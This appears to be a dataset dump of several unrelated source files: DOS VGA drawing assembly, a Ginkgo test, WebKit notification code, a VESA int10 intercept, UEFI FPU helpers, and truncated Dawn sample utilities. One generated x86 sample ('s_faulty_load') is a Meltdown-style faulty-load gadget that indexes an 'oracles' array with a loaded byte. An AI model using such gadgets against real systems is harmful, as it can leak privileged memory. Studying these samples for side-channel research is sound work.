text
stringlengths
1
1.05M
;=========================================================================== ; Draw.asm ;--------------------------------------------------------------------------- ; Assembly x86 library ; ; ; Author: Ahmed Hussein ; Created: ; ; ; This file provide some Procedures for drawing on VGA screen ; the file includes also Macro wrapper for some procedures ; ; Procedures included: ; * DrawData ; * DrawObject ; * DrawRectangle ; * Erase ; * EraseObject ; ;=========================================================================== ;----------------------------------------------------- ; DrawData ;----------------------------------------------------- ; Draws an pixel array at given coordinates ; @param DI = Width ; @param BP = Height ; @param CX = X-coordinate ; @param DX = Y-coordinate ; @param SI = offset of the pixel array ;----------------------------------------------------- DrawData PROC PUSHA PUSH DI @@DrawDataLength: @@DrawDataWidth: MOV AL, [SI] ;Pixel color MOV AH, 0CH ;Draw Pixel Command INT 10H INC SI INC CX DEC DI JNZ @@DrawDataWidth POP DI ; Reset Width PUSH DI SUB CX, DI ; Reset X-coordinate INC DX DEC BP JNZ @@DrawDataLength POP DI POPA RET DrawData ENDP ;----------------------------------------------------- ; DrawObject ;----------------------------------------------------- ; Draws an object ; Return to the main document to see how to construct a "Draw-able" object ; @param SI = Offset of the object ;----------------------------------------------------- DrawObject PROC PUSHA MOV DI, [SI] ;Width MOV BP, [SI + 02H] ;Height MOV CX, [SI + 04H] ;X-coordinate MOV DX, [SI + 06H] ;Y-coordinate ADD SI, 0AH ;Start of pixels array CALL DrawData POPA RET DrawObject ENDP ;----------------------------------------------------- ; DrawRectangle ;----------------------------------------------------- ; Draws a rectangle with a certain color ; @param DI = Width ; @param BP = Height ; @param CX = X-coordinate ; @param DX = Y-coordinate ; @param AL = Color ;----------------------------------------------------- DrawRectangle PROC PUSHA MOV AH, 0CH PUSH DI @@DrawLength: @@DrawWidth: INT 10H INC CX DEC DI JNZ @@DrawWidth POP DI ; Reset the width value PUSH DI SUB CX, DI ; Reset X-coordinate INC DX DEC BP JNZ @@DrawLength POP DI POPA RET DrawRectangle ENDP ;----------------------------------------------------- ; Erase ;----------------------------------------------------- ; Erase by drawing GX_BACKGROUND_COLOR ; @param DI = Width ; @param BP = Height ; @param CX = X-coordinate ; @param DX = Y-coordinate ;----------------------------------------------------- Erase PROC MOV AL, GX_BACKGROUND_COLOR CALL DrawRectangle RET Erase ENDP ;----------------------------------------------------- ; EraseObject ;----------------------------------------------------- ; Erase an object by drawing GX_BACKGROUND_COLOR ; @param SI = Offset of the object ;----------------------------------------------------- EraseObject PROC MOV AL, GX_BACKGROUND_COLOR MOV DI, [SI] MOV BP, [SI + 02H] MOV CX, [SI + 04H] MOV DX, [SI + 06H] CALL DrawRectangle RET EraseObject ENDP ;=========================================================================== ; Macro wrappers ;=========================================================================== DrawData_M MACRO Width, Height, Xcoordinate, Ycoordinate, PixelArrayOffset MOV DI, Width MOV BP, Height MOV CX, Xcoordinate MOV DX, Ycoordinate MOV SI, PixelArrayOffset CALL DrawData ENDM DrawData_M ;----------------------------------------------------- DrawRectangle_M MACRO Width, Height, Xcoordinate, Ycoordinate, Color MOV DI, Width MOV BP, Height MOV CX, Xcoordinate MOV DX, Ycoordinate MOV AL, Color CALL DrawRectangle ENDM DrawRectangle_M ;----------------------------------------------------- Erase_M MACRO Width, Height, Xcoordinate, Ycoordinate MOV DI, Width MOV BP, Height MOV CX, Xcoordinate MOV DX, Ycoordinate CALL Erase ENDM Erase_M
/*******************************<GINKGO LICENSE>****************************** Copyright (c) 2017-2020, the Ginkgo authors All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ******************************<GINKGO LICENSE>*******************************/ #include "core/test/utils/assertions.hpp" #include <gtest/gtest.h> #include <ginkgo/core/matrix/csr.hpp> #include <ginkgo/core/matrix/dense.hpp> #include "core/test/utils.hpp" namespace { template <typename T> class MatricesNear : public ::testing::Test {}; TYPED_TEST_CASE(MatricesNear, gko::test::ValueTypes); TYPED_TEST(MatricesNear, CanPassAnyMatrixType) { auto exec = gko::ReferenceExecutor::create(); auto mtx = gko::initialize<gko::matrix::Dense<TypeParam>>( {{1.0, 2.0, 3.0}, {0.0, 4.0, 0.0}}, exec); auto csr_mtx = gko::matrix::Csr<TypeParam>::create(exec); csr_mtx->copy_from(mtx.get()); GKO_EXPECT_MTX_NEAR(csr_mtx, mtx, 0.0); GKO_ASSERT_MTX_NEAR(csr_mtx, mtx, 0.0); } } // namespace
/* * Copyright (C) 2011 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGE. */ #include "config.h" #include "WebNotificationProvider.h" #include "WKAPICast.h" #include "WebNotification.h" #include "WebNotificationManagerProxy.h" #include "WebSecurityOrigin.h" namespace WebKit { void WebNotificationProvider::show(WebPageProxy* page, WebNotification* notification) { if (!m_client.show) return; m_client.show(toAPI(page), toAPI(notification), m_client.clientInfo); } void WebNotificationProvider::cancel(WebNotification* notification) { if (!m_client.cancel) return; m_client.cancel(toAPI(notification), m_client.clientInfo); } void WebNotificationProvider::didDestroyNotification(WebNotification* notification) { if (!m_client.didDestroyNotification) return; m_client.didDestroyNotification(toAPI(notification), m_client.clientInfo); } int WebNotificationProvider::policyForNotificationPermissionAtOrigin(WebSecurityOrigin* origin) { if (!m_client.policyForNotificationPermissionAtOrigin) return INT_MIN; return m_client.policyForNotificationPermissionAtOrigin(toAPI(origin), m_client.clientInfo); } void WebNotificationProvider::addNotificationManager(WebNotificationManagerProxy* manager) { if (!m_client.addNotificationManager) return; m_client.addNotificationManager(toAPI(manager), m_client.clientInfo); } void WebNotificationProvider::removeNotificationManager(WebNotificationManagerProxy* manager) { if (!m_client.removeNotificationManager) return; m_client.removeNotificationManager(toAPI(manager), m_client.clientInfo); } } // namespace WebKit
;***************************************************************************** ;* CBINT10.ASM - Issue int10/getinfo to vesa bios (CodeBuilder). ;* ;* This is not used in the loadable device driver, only in the codebuilder ;* version of the fliclib. ;* ;* Two of the vesa functions we call via int 10, VBE_INFO and MODE_INFO, ;* require a pointer to a DOS-area memory buffer to be passed in ES:DI. ;* For CodeBuilder, we have to install an int 10 intercept routine to ;* massage the flat pointer into a segmented pointer, so that the real mode ;* int 10 sees the proper value in ES:DI. ;* ;* The bulk of the vesa code uses an inline int 10 instruction to talk to ;* the vesa bios. This module is used only for the two INFO calls that ;* require the buffer pointer; these occur only during mode switches and ;* get_mode_info calls, and performance is not an issue in this routine. ;* ;* Because the int 10 intercept slows down all calls to int 10, and because ;* we can afford to be slow when processing the getinfo calls but not when ;* doing video bankswitches, we install the intercept for the duration of ;* the getinfo call, then remove it again as soon as int 10 returns. ;***************************************************************************** include stdmacro.i ; our standard macros _BSS segment ;----------------------------------------------------------------------------- ; some data structures from CodeBuilder's STK.AH header file, used in the ; intercept routine... ;----------------------------------------------------------------------------- STK STRUC ;* ================================= *; STK_RLOC DD ? ;* Relocation factor *; DB 2 DUP (?) ;* Reserved *; STK_OPTS DB ? ;* Options *; STK_CC DB ? ;* Command code *; STK_EDI DD ? ;* Registers of interrupted process *; STK_ESI DD ? ;* " " " " *; STK_EBP DD ? ;* " " " " *; STK_TMP DD ? ;* (Points to global dat area-GDA) *; STK_EBX DD ? ;* " " " " *; STK_EDX DD ? ;* " " " " *; STK_ECX DD ? ;* " " " " *; STK_EAX DD ? ;* " " " " *; STK_ERC DW ? ;* Error code or reserved *; STK_ID DB ? ;* Interrupt ID (software INTs) *; STK_IDI DB ? ;* Intel interrupt ID (exceptions) *; STK_EIP DD ? ;* Registers EIP *; STK_CS DD ? ;* of the CS *; STK_FLG DD ? ;* interrupted EFLAGS *; STK_ESP DD ? ;* process ESP *; STK_SS DD ? ;* SS *; STK_ES DD ? ;* V86-mode registers *; STK_DS DD ? ;* " " *; STK_FS DD ? ;* " " *; STK_GS DD ? ;* " " *; STK ENDS ;* --------------------------------- *; _STK_WRK EQU 8 ;* Length of stack work space *; _STK_LEN EQU SIZE STK ;* Length of stack frame *; ;* Stack options (STK_OPTS field) -- *; _STK_NOINT EQU 80H ;* Suppress interrupt *; _STK_TERM EQU 40H ;* Terminate application *; ;* EFLAG Values -------------------- *; _FLAG_CARRY EQU 00000001H ;* Carry flag *; _FLAG_PARITY EQU 00000004H ;* Parity flag *; _FLAG_AUXCARRY EQU 00000010H ;* Auxillary carry flag *; _FLAG_ZERO EQU 00000040H ;* Zero flag *; _FLAG_SIGN EQU 00000080H ;* Sign flag *; _FLAG_TRAP EQU 00000100H ;* Trap flag *; _FLAG_INTERRUPT EQU 00000200H ;* Interrupt enable flag *; _FLAG_DIRECTION EQU 00000400H ;* Direction flag *; _FLAG_OVERFLOW EQU 00000800H ;* Overflow flag *; _FLAG_IOPL EQU 00003000H ;* I/O privilege level mask *; _FLAG_NESTED EQU 00004000H ;* Nested task flag *; _FLAG_RESUME EQU 00010000H ;* Resume flag *; _FLAG_VM EQU 00020000H ;* Virtual 8086 mode *; oldint10 dd ? ; old int10 handler to chain to. _BSS ends _TEXT segment public _pj_vesa_int10 extrn _dos_getvect:near extrn _dos_setvect:near ;***************************************************************************** ;* int10_intercept ;* ;* this function, when installed, gets control before the real mode int 10 ;* handler. on the stack, addressable via [ebp], is a STK structure that ;* contains an image of the registers that will be passed to the real mode ;* handler. we change the flat pointer in the edi reg to a segmented ;* pointer in ES:DI, then chain to the prior int 10 handler. ;* ;* any registers used in this routine must be preserved! ;***************************************************************************** VESA_VBE_INFO equ 4f00h ; get VESA hardware information VESA_MODE_INFO equ 4f01h ; get video mode information int10_intercept proc near push eax test [ebp].STK_FLG,_FLAG_VM ; Is interrupt from V86 (real) mode? jnz short #punt ; yep, nothing for us to do. mov eax,[ebp].STK_EAX ; load int 10 function/subfunction. cmp eax,VESA_VBE_INFO ; make sure the function is one of jb short #punt ; the two get-info functions that cmp eax,VESA_MODE_INFO ; need the address translation; if ja short #punt ; not, just chain to prior handler. mov eax,[ebp].STK_EDI ; get edi that was passed to int 10, shr eax,4 ; convert flat addr to segment addr, mov [ebp].STK_ES,eax ; now realmode int10 will see it in ES. mov eax,[ebx].STK_EDI ; get edi again, and eax,0Fh ; mask out seg, leaving offset, mov [ebp].STK_EDI,eax ; now realmode int10 will see it in DI. #punt: pop eax jmp dptr [oldint10] ; chain to prior handler int10_intercept endp ;***************************************************************************** ;* _pj_vesa_int10 ;* ;* Issue INT10 call to VESA BIOS, such that flat pointer in edi is seen by ;* the real mode handler as a segmented pointer in ES:DI. The value in edi ;* will be a pointer to a buffer in real DOS memory. For codebuilder, we ;* do this by installing an intercept that handles the translation, then ;* issuing a normal int 10, then removing the intercept before returning. ;* ;* Input: ;* eax = VESA function number. ;* es:edi = pointer (far32) to buffer in DOS memory (ES is ignored). ;* Output: ;* values returned by VESA BIOS. ;***************************************************************************** _pj_vesa_int10 proc near Entry pushad ; save everything. push 10h ; get address of old int10 call _dos_getvect ; handler via codebuilder library add esp,4 ; function. mov oldint10,eax ; save old handler address. lea eax,int10_intercept ; install our intercept routine push eax ; to handle int10 calls, push 10h call _dos_setvect add esp,8 popad ; restore everything int 10h ; call the vesa bios. cld ; Let's be paranoid. pushf ; save flags set by vesa bios. pushad ; save all regs set by vesa bios. mov eax,oldint10 ; remove our intercept routine... push eax push 10h call _dos_setvect add esp,8 popad ; restore regs popf ; restore flags ret _pj_vesa_int10 endp _TEXT ends end
;; @file ; ; Copyright 2006 - 2010 Unified EFI, Inc.<BR> ; Copyright (c) 2010, Intel Corporation. All rights reserved.<BR> ; ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; .CODE ;------------------------------------------------------------------------------ ; EFI_STATUS ; GetFpuControlWord ( ; OUT UINT16 *Reg ; ) ;------------------------------------------------------------------------------ GetFpuControlWord PROC mov eax, 0 fstcw WORD PTR [rcx] ret GetFpuControlWord ENDP ;------------------------------------------------------------------------------ ; EFI_STATUS ; GetMxCsr ( ; OUT UINT32 *Reg ; ) ;------------------------------------------------------------------------------ GetMxCsr PROC mov eax, 0 stmxcsr DWORD PTR [rcx] ret GetMxCsr ENDP END
.global s_prepare_buffers s_prepare_buffers: push %r11 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x12b8, %rdi nop nop nop nop and $32591, %r11 mov $0x6162636465666768, %rbx movq %rbx, (%rdi) nop nop nop nop sub $59226, %rsi lea addresses_UC_ht+0x6a70, %rsi lea addresses_WC_ht+0x1032c, %rdi nop nop nop nop nop xor $39220, %rbp mov $29, %rcx rep movsw xor $2953, %rcx lea addresses_WT_ht+0x16bc, %rbp nop sub %rax, %rax movups (%rbp), %xmm7 vpextrq $1, %xmm7, %r11 nop nop add $60491, %rbx lea addresses_WC_ht+0x14a70, %rsi lea addresses_UC_ht+0x12a70, %rdi nop nop nop dec %rbx mov $44, %rcx rep movsw and %r11, %r11 lea addresses_A_ht+0x6a70, %rdi nop nop sub $62499, %rsi movb (%rdi), %cl nop and $60143, %rbp lea addresses_WT_ht+0x17e70, %rsi lea addresses_A_ht+0x1cb1a, %rdi nop nop nop nop nop sub %rbx, %rbx mov $78, %rcx rep movsb nop nop nop nop cmp $50320, %rax lea addresses_UC_ht+0x14870, %rsi nop nop and $1741, %rbx movb $0x61, (%rsi) nop nop nop nop nop xor $29041, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r15 push %r8 push %rbp push %rbx // Store mov $0x3f48900000000270, %r12 nop nop nop dec %r11 mov $0x5152535455565758, %rbx movq %rbx, (%r12) nop nop nop sub %r13, %r13 // Load lea addresses_PSE+0x1d930, %r8 nop inc %r15 movb (%r8), %r12b nop and $24790, %r13 // Store lea addresses_WT+0x15f90, %r12 nop nop nop inc %rbp mov $0x5152535455565758, %r11 movq %r11, (%r12) nop nop nop nop nop dec %r13 // Load lea addresses_D+0x1bee0, %rbx nop nop nop xor $26714, %r8 mov (%rbx), %rbp nop nop nop nop and %r8, %r8 // Load lea addresses_WT+0x9670, %r15 nop nop nop add %r8, %r8 mov (%r15), %r13 dec %r12 // Store lea addresses_WC+0x69b8, %rbp nop sub $41586, %r11 mov $0x5152535455565758, %r15 movq %r15, (%rbp) nop nop nop nop and %r11, %r11 // Store lea addresses_WC+0x7996, %r15 nop nop nop nop nop and %r8, %r8 movw $0x5152, (%r15) add $29974, %r13 // Store lea addresses_normal+0x2a70, %r12 nop nop nop and %r8, %r8 mov $0x5152535455565758, %r11 movq %r11, %xmm4 movups %xmm4, (%r12) nop nop nop xor $47568, %rbx // Faulty Load mov $0x3f48900000000270, %r15 nop nop nop sub %r11, %r11 movb (%r15), %r8b lea oracles, %rbx and $0xff, %r8 shlq $12, %r8 mov (%rbx,%r8,1), %r8 pop %rbx pop %rbp pop %r8 pop %r15 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 3, 'size': 8, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'58': 18792, '00': 255} 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
// Copyright 2017 The Dawn Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "SampleUtils.h" #include "common/Assert.h" #include "common/Log.h" #include "common/Platform.h" #include "common/SystemUtils.h" #include "utils/BackendBinding.h" #include "utils/GLFWUtils.h" #include "utils/TerribleCommandBuffer.h" #include <dawn/dawn_proc.h> #include <dawn/dawn_wsi.h> #include <dawn_native/DawnNative.h> #include <dawn_wire/WireClient.h> #include <dawn_wire/WireServer.h> #include "GLFW/glfw3.h" #include <algorithm> #include <cstring> void PrintDeviceError(WGPUErrorType errorType, const char* message, void*) { const char* errorTypeName = ""; switch (errorType) { case WGPUErrorType_Validation: errorTypeName = "Validation"; break; case WGPUErrorType_OutOfMemory: errorTypeName = "Out of memory"; break; case WGPUErrorType_Unknown: errorTypeName = "Unknown"; break; case WGPUErrorType_DeviceLost: errorTypeName = "Device lost"; break; default: UNREACHABLE(); return; } dawn::ErrorLog() << errorTypeName << " error: " << message; } void PrintGLFWError(int code, const char* message) { dawn::ErrorLog() << "GLFW error: " << code << " - " << message; } enum class CmdBufType { None, Terrible, // TODO(cwallez@chromium.org): double terrible cmdbuf }; // Default to D3D12, Metal, Vulkan, OpenGL in that order as D3D12 and Metal are the preferred on // their respective platforms, and Vulkan is preferred to OpenGL #if defined(DAWN_ENABLE_BACKEND_D3D12) static wgpu::BackendType backendType = wgpu::BackendType::D3D12; #elif defined(DAWN_ENABLE_BACKEND_METAL) static wgpu::BackendType backendType = wgpu::BackendType::Metal; #elif defined(DAWN_ENABLE_BACKEND_VULKAN) static wgpu::BackendType backendType = wgpu::BackendType::Vulkan; #elif defined(DAWN_ENABLE_BACKEND_OPENGLES) static wgpu::BackendType backendType = wgpu::BackendType::OpenGLES; #elif defined(DAWN_ENABLE_BACKEND_DESKTOP_GL) static wgpu::BackendType backendType = wgpu::BackendType::OpenGL; #else # error #endif static CmdBufType cmdBufType = CmdBufType::Terrible; static std::unique_ptr<dawn_native::Instance> instance; static utils::BackendBinding* binding = nullptr; static GLFWwindow* window = nullptr; static dawn_wire::WireServer* wireServer = nullptr; static dawn_wire::WireClient* wireClient = nullptr; static utils::TerribleCommandBuffer* c2sBuf = nullptr; static utils::TerribleCommandBuffer* s2cBuf = nullptr; wgpu::Device CreateCppDawnDevice() { ScopedEnvironmentVar angleDefaultPlatform; if (GetEnvironmentVar("ANGLE_DEFAULT_PLATFORM").first.empty()) { angleDefaultPlatform.Set("ANGLE_DEFAULT_PLATFORM", "swiftshader"); } glfwSetErrorCallback(PrintGLFWError); if (!glfwInit()) { return wgpu::Device(); } // Create the test window and discover adapters using it (esp. for OpenGL) utils::SetupGLFWWindowHintsForBackend(backendType); glfwWindowHint(GLFW_COCOA_RETINA_FRAMEBUFFER, GLFW_FALSE); window = glfwCreateWindow(640, 480, "Dawn window", nullptr, nullptr); if (!window) { return wgpu::Device(); } instance = std::make_unique<dawn_native::Instance>(); utils::DiscoverAdapter(instance.get(), window, backendType); // Get an adapter for the backend to use, and create the device. dawn_native::Adapter backendAdapter; { std::vector<dawn_native::Adapter> adapters = instance->GetAdapters(); auto adapterIt = std::find_if(adapters.begin(), adapters.end(), [](const dawn_native::Adapter adapter) -> bool { wgpu::AdapterProperties properties; adapter.GetProperties(&properties); return properties.backendType == backendType; }); ASSERT(adapterIt != adapters.end()); backendAdapter = *adapterIt; } WGPUDevice backendDevice = backendAdapter.CreateDevice(); DawnProcTable backendProcs = dawn_native::GetProcs(); binding = utils::CreateBinding(backendType, window, backendDevice); if (binding == nullptr) { return wgpu::Device(); } // Choose whether to use the backend procs and devices directly, or set up the wire. WGPUDevice cDevice = nullptr; DawnProcTable procs; switch (cmdBufType) { case CmdBufType::None: procs = backendProcs; cDevice = backendDevice; break; case CmdBufType::Terrible: { c2sBuf = new utils::TerribleCommandBuffer(); s2cBuf = new utils::TerribleCommandBuffer(); dawn_wire::WireServerDescriptor serverDesc = {}; serverDesc.procs = &backendProcs; serverDesc.serializer = s2cBuf; wireServer = new dawn_wire::WireServer(serverDesc); c2sBuf->SetHandler(wireServer); dawn_wire::WireClientDescriptor clientDesc = {}; clientDesc.serializer = c2sBuf; wireClient = new dawn_wire::WireClient(clientDesc); procs = dawn_wire::client::GetProcs(); s2cBuf->SetHandler(wireClient); auto deviceReservation = wireClient->ReserveDevice(); wireServer->InjectDevice(backendDevice, deviceReservation.id, deviceReservation.generation); cDevice = deviceReservation.device; } break; } dawnProcSetProcs(&procs); procs.deviceSetUncapturedErrorCallback(cDevice, PrintDeviceError, nullptr); return wgpu::Device::Acquire(cDevice); } uint64_t GetSwapChainImplementation() { return binding->GetSwapChainImplementation(); } wgpu::TextureFormat GetPreferredSwapChainTextureFormat() { DoFlush(); return static_cast<wgpu::TextureFormat>(binding->GetPreferredSwapChainTextureFormat()); } wgpu::SwapChain GetSwapChain(const wgpu::Device& device) { wgpu::SwapChainDescriptor swapChainDesc; swapChainDesc.implementation = GetSwapChainImplementation(); return device.CreateSwapChain(nullptr, &swapChainDesc); } wgpu::TextureView CreateDefaultDepthStencilView(const wgpu::Device& device) { wgpu::TextureDescriptor descriptor; descriptor.dimension = wgpu::TextureDimension::e2D; descriptor.size.width = 640; descriptor.size.height = 480; descriptor.size.depthOrArrayLayers = 1; descriptor.sampleCount = 1; descriptor.format = 